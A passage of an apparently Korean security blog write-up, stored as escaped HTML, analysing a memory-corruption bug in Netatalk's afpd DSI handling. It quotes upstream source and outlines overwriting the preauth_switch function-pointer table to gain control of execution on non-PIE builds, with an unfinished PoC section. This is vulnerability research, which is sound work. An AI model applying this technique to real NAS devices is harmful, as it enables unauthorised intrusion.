/&gt;97&lt;br /&gt;98&lt;br /&gt;99&lt;br /&gt;100&lt;br /&gt;101&lt;br /&gt;102&lt;br /&gt;103&lt;br /&gt;104&lt;br /&gt;105&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;child&amp;nbsp;and&amp;nbsp;parent&amp;nbsp;processes&amp;nbsp;might&amp;nbsp;interpret&amp;nbsp;a&amp;nbsp;couple&amp;nbsp;of&amp;nbsp;these&lt;br /&gt;&amp;nbsp;*&amp;nbsp;differently.&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;typedef&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;struct&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;DSI&lt;/span&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;AFPObj&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;AFPobj&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;dsi_proto&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;protocol&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;struct&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;dsi_block&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;header&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;struct&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;sockaddr_storage&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;server&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;client&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;struct&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;itimerval&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;timer&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;tickle&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;tickle&amp;nbsp;count&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;in_write&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;in&amp;nbsp;the&amp;nbsp;middle&amp;nbsp;of&amp;nbsp;writing&amp;nbsp;multiple&amp;nbsp;packets,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;signal&amp;nbsp;handlers&amp;nbsp;cant&amp;nbsp;write&amp;nbsp;to&amp;nbsp;the&amp;nbsp;socket&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;msg_request&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;pending&amp;nbsp;message&amp;nbsp;to&amp;nbsp;the&amp;nbsp;client&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;down_request&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;pending&amp;nbsp;SIGUSR1&amp;nbsp;down&amp;nbsp;in&amp;nbsp;5&amp;nbsp;mn&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;u_int32_t&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;attn_quantum&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;datasize&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;server_quantum&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;u_int16_t&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;serverID&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;clientID&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;status&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;u_int8_t&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;commands&lt;/span&gt;[&lt;span style=&quot;color: #569cd6;&quot;&gt;DSI_CMDSIZ&lt;/span&gt;],&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;data&lt;/span&gt;[&lt;span style=&quot;color: #569cd6;&quot;&gt;DSI_DATASIZ&lt;/span&gt;];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;size_t&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;statuslen&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;size_t&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;datalen&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cmdlen&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;off_t&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;read_count&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;write_count&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;uint32_t&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;flags&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;DSI&amp;nbsp;flags&amp;nbsp;like&amp;nbsp;DSI_SLEEPING,&amp;nbsp;DSI_DISCONNECTED&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;const&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;program&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;socket&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;serversock&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;protocol&amp;nbsp;specific&amp;nbsp;open/close,&amp;nbsp;send/receive&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;send/receive&amp;nbsp;fill&amp;nbsp;in&amp;nbsp;the&amp;nbsp;header&amp;nbsp;and&amp;nbsp;use&amp;nbsp;dsi-&amp;gt;commands.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;write/read&amp;nbsp;just&amp;nbsp;write/read&amp;nbsp;data&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;pid_t&lt;/span&gt;&amp;nbsp;&amp;nbsp;(*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;proto_open&lt;/span&gt;)(&lt;span style=&quot;color: #569cd6;&quot;&gt;struct&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;DSI&lt;/span&gt;&amp;nbsp;*);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;(*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;proto_close&lt;/span&gt;)(&lt;span style=&quot;color: #569cd6;&quot;&gt;struct&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;DSI&lt;/span&gt;&amp;nbsp;*);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;url&amp;nbsp;registered&amp;nbsp;with&amp;nbsp;slpd&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#ifdef&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;USE_SRVLOC&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #828282;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #3d6483;&quot;&gt;char&lt;/span&gt;&amp;nbsp;srvloc_url[&lt;span style=&quot;color: #717f6a;&quot;&gt;512&lt;/span&gt;];&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#endif&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#ifdef&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;USE_ZEROCONF&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #828282;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #3d6483;&quot;&gt;char&lt;/span&gt;&amp;nbsp;*bonjourname;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;server&amp;nbsp;name&amp;nbsp;as&amp;nbsp;UTF8&amp;nbsp;maxlen&amp;nbsp;MAXINSTANCENAMELEN&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #3d6483;&quot;&gt;int&lt;/span&gt;&amp;nbsp;zeroconf_registered;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#endif&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;DSI&amp;nbsp;readahead&amp;nbsp;buffer&amp;nbsp;used&amp;nbsp;for&amp;nbsp;buffered&amp;nbsp;reads&amp;nbsp;in&amp;nbsp;dsi_peek&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;size_t&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;dsireadbuf&lt;/span&gt;;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;size&amp;nbsp;of&amp;nbsp;the&amp;nbsp;DSI&amp;nbsp;readahead&amp;nbsp;buffer&amp;nbsp;used&amp;nbsp;in&amp;nbsp;dsi_peek()&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buffer&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;start&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;eof&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;end&lt;/span&gt;;&lt;br /&gt;}&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;DSI&lt;/span&gt;;&lt;/div&gt;
&lt;div style=&quot;position: absolute; bottom: 2px; right: 8px; font-style: italic; font-size: 12px; color: white;&quot;&gt;include/atalk/dsi.h&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;commands&lt;/code&gt; 가 DSI 구조체 내에 정적 배열로 선언되어 있고, 대신 &lt;code&gt;status&lt;/code&gt; 를 조작할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 다른 코드에서 &lt;code&gt;status&lt;/code&gt; 로 write를 하는 경우는 발생하지 않기 때문에 &lt;code&gt;dsi_getstatus&lt;/code&gt; 에서 data leak을 할 때 말고는 쓸 수 있는 상황이 존재하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;s&gt;&lt;b&gt;# PoC (PC Control, Non-PIE)&lt;/b&gt;&lt;/s&gt;&lt;b&gt; [펌웨어 탐색 중]&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;특정 환경에서는, afpd를 PIE로 컴파일하지 않아 바이너리가 고정된 주소를 가지고 있기 때문에 AAW를 쉽게 성공시킬 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;s&gt;PoC는 Seagate Business NAS 4 Bay의 펌웨어에 있는 afpd를 대상으로 했으며, 버전은 2.2.3이다.&lt;/s&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;(2.x exploit 불가능으로 3.x vulnerable 한 ARM 펌웨어를 찾고 있습니다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;commands를 옮기기 좋은 위치는 preauth_switch 이다. AFP Command는 afp_switch의 함수 포인터 배열을 참조하고, 값이 NULL이 아니면 함수를 실행시킨다. 로그인 전 사용할 수 있는 함수는 preauth_switch에 저장되며, 로그인 후 afp_switch는 postauth_switch로 바뀐다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;57&lt;br /&gt;58&lt;br /&gt;59&lt;br /&gt;60&lt;br /&gt;61&lt;br /&gt;62&lt;br /&gt;63&lt;br /&gt;64&lt;br /&gt;65&lt;br /&gt;66&lt;br /&gt;67&lt;br /&gt;68&lt;br /&gt;69&lt;br /&gt;70&lt;br /&gt;...&lt;br /&gt;129&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&lt;br /&gt;&amp;nbsp;*&amp;nbsp;Routines&amp;nbsp;marked&amp;nbsp;&quot;NULL&quot;&amp;nbsp;are&amp;nbsp;not&amp;nbsp;AFP&amp;nbsp;functions.&lt;br /&gt;&amp;nbsp;*&amp;nbsp;Routines&amp;nbsp;marked&amp;nbsp;&quot;afp_null&quot;&amp;nbsp;are&amp;nbsp;AFP&amp;nbsp;functions&lt;br /&gt;&amp;nbsp;*&amp;nbsp;which&amp;nbsp;are&amp;nbsp;not&amp;nbsp;yet&amp;nbsp;implemented.&amp;nbsp;A&amp;nbsp;fine&amp;nbsp;line...&lt;br /&gt;&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;static&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;AFPCmd&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;preauth_switch&lt;/span&gt;[]&amp;nbsp;=&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;-&amp;nbsp;&amp;nbsp;&amp;nbsp;7&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;&amp;nbsp;&amp;nbsp;8&amp;nbsp;-&amp;nbsp;&amp;nbsp;15&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;afp_login&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;afp_logincont&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;afp_logout&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;&amp;nbsp;16&amp;nbsp;-&amp;nbsp;&amp;nbsp;23&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;&amp;nbsp;24&amp;nbsp;-&amp;nbsp;&amp;nbsp;31&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;...&lt;br /&gt;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;AFPCmd&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;afp_switch&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;preauth_switch&lt;/span&gt;;&lt;/div&gt;
&lt;div style=&quot;position: absolute; bottom: 2px; right: 8px; font-style: italic; font-size: 12px; color: white;&quot;&gt;etc/afpd/switch.c&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;618&lt;br /&gt;619&lt;br /&gt;620&lt;br /&gt;621&lt;br /&gt;622&lt;br /&gt;623&lt;br /&gt;624&lt;br /&gt;625&lt;br /&gt;626&lt;br /&gt;627&lt;br /&gt;628&lt;br /&gt;629&lt;br /&gt;630&lt;br /&gt;631&lt;br /&gt;632&lt;br /&gt;633&lt;br /&gt;634&lt;br /&gt;635&lt;br /&gt;636&lt;br /&gt;637&lt;br /&gt;638&lt;br /&gt;639&lt;br /&gt;640&lt;br /&gt;641&lt;br /&gt;642&lt;br /&gt;643&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&amp;nbsp;send&amp;nbsp;off&amp;nbsp;an&amp;nbsp;afp&amp;nbsp;command.&amp;nbsp;in&amp;nbsp;a&amp;nbsp;couple&amp;nbsp;cases,&amp;nbsp;we&amp;nbsp;take&amp;nbsp;advantage&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;of&amp;nbsp;the&amp;nbsp;fact&amp;nbsp;that&amp;nbsp;were&amp;nbsp;a&amp;nbsp;stream-based&amp;nbsp;protocol.&amp;nbsp;*/&lt;/span&gt;&lt;br 